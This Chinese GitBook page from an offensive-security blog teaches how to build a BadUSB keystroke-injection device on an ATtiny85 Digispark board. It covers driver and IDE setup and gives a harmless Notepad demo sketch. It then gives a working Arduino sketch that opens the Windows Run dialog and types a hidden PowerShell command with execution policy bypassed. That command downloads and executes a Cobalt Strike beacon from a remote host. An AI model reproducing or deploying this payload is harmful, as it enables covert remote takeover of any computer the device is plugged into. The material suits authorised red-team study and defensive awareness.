Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 前言
  • 什么是Badusb
  • 准备步骤
  • 1.设备选择
  • 2.Arduino IDE的安装
  • 3.驱动安装
  • 4.配置Digispark环境
  • 5.安装Digispark开发板
  • 烧录基本流程
  • 1.验证代码
  • 2.上传代码
  • 3.验证效果
  • CobaltStrike远控上线
  • Ardunio代码
  • 执行效果
  • 注意事项
  1. 内网渗透

BadUsb制作

上一页内网渗透前置知识下一页Linux反弹Shell总结

最后更新于1年前

前言

在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态

现在的USB设备很多,比如语音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击

什么是Badusb

BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行

准备步骤

1.设备选择

制作badusb的几种常见载体有:Arduino Leonardo、Phison、Teensy、Attiny85、PS2303(芯片)、RUBBER DUCKY等。

从专业程度和易用性来讲RUBBER DUCKY最优, 本篇文章选择基于Attiny85的设备, 淘宝上价格在12~20左右, 性价比相对来说比较高

2.Arduino IDE的安装

Arduino开发者工具Arduino IDE的下载地址: https://www.arduino.cc/en/software, 选择下载Windows ZIP file文件即可

首次打开Arduino IDE, 会自动联网下载软件包并安装

3.驱动安装

开发板驱动程序下载地址: https://github.com/digistump/DigistumpArduino/releases/download/1.6.7/Digistump.Drivers.zip

下载完后解压文件, 然后运行DPinst64.exe和Install Drivers.exe

4.配置Digispark环境

方法一

若你的外网连接速度够快, 那么可直接点击首选项, 然后在其他开发板管理器地址输入http://digistump.co/package_digistump_index.json

方法二

由于开发板管理器的下载模块是通过网站进行下载的, 若访问github的网速不够快就会报错, 但我们自行搭建本地服务器, 将json文件和其他压缩文件一起放到本地服务器上, 此处我选择用phpstudy搭建服务器, 首先启动phpstudy

开启外网代理, 访问https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json, 复制json文件内容至1.json中

下载压缩包: https://github.com/ArminJo/DigistumpArduino, 解压后将digistump-avr-1.7.5.zip和tools/micronucleus-cli-2.6-x86_64-mingw32.zip复制到本地服务器中, 也把1.json复制到本地服务器上

修改1.json文件内容, 将url字段的值修改为对应的本地服务器文件地址

在首选项处的其他开发管理器地址填写成: http://127.0.0.1:81/1.json

5.安装Digispark开发板

点击工具->开发板->开发板管理器, 然后在左边的侧栏找到Digistump进行安装

选择对应的开发板型号,配置完成

烧录基本流程

1.验证代码

这段代码包含了一个名为 setup() 的函数和一个名为 loop() 的函数。

setup() 函数中包含了一些指令,它们会在程序运行时首先被执行。

#include "DigiKeyboard.h"

void setup() {
DigiKeyboard.sendKeyStroke(0); //发送一个按键,用于清空当前的输入

DigiKeyboard.delay(3000);   //延迟三秒钟
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);  //发送一个按键,用于打开运行对话框
DigiKeyboard.delay(1000);
DigiKeyboard.println("notepad"); //向运行对话框输入notepad打开记事本
DigiKeyboard.sendKeyStroke(KEY_ENTER);  //发送一个回车键
DigiKeyboard.delay(4000);
DigiKeyboard.println("Hellow");  //向打开的记事本窗口输入"Hello"
}

void loop() {

}

点击右上角的勾号对代码进行验证

2.上传代码

点击箭头上传代码, 随后在命令行界面会显示"Please plug in the device(will time out in 60 seconds)", 意思是在60秒内插入我们的badusb设备

插入badusb后开始烧录

3.验证效果

插入badusb后会自动打开一个记事本, 然后在记事本上输入Hellow

CobaltStrike远控上线

Ardunio代码

这段代码包含了一些头文件的引用和宏定义,接下来是两个函数:setup()和loop()。

#include "DigiKeyboard.h"
#define KEY_ESC     41
#define KEY_BACKSPACE 42
#define KEY_TAB     43
#define KEY_PRT_SCR 70
#define KEY_DELETE  76
 
void setup() {
 
DigiKeyboard.delay(5000); //延迟5秒
DigiKeyboard.sendKeyStroke(0);  ////发送一个按键,用于清空当前的输入
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT); //发送一个按键,用于打开运行对话框
DigiKeyboard.delay(1000);
DigiKeyboard.print(F("powershell -WindowStyle Hidden -NoLogo -executionpolicy bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.47.155:80/a');"));  //向运行对话框输入PowerShell代码远程执行CS上线指令
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);  //发送一个回车键
DigiKeyboard.delay(750);
DigiKeyboard.sendKeyStroke(KEY_ENTER); 
 
}
void loop() {
}

执行效果

注意事项

  • 在进行烧录操作时要关闭虚拟机(因为badusb设备会被虚拟机优先识别判断), 不然Arduino IDE无法进行烧录

  • 若要在虚拟机测试badusb的功能, 需要在其首选项设置优先识别badusb设备

​

image-20221207162430692
image-20221207174646095
image-20221211221332777
image-20221211222431700
动画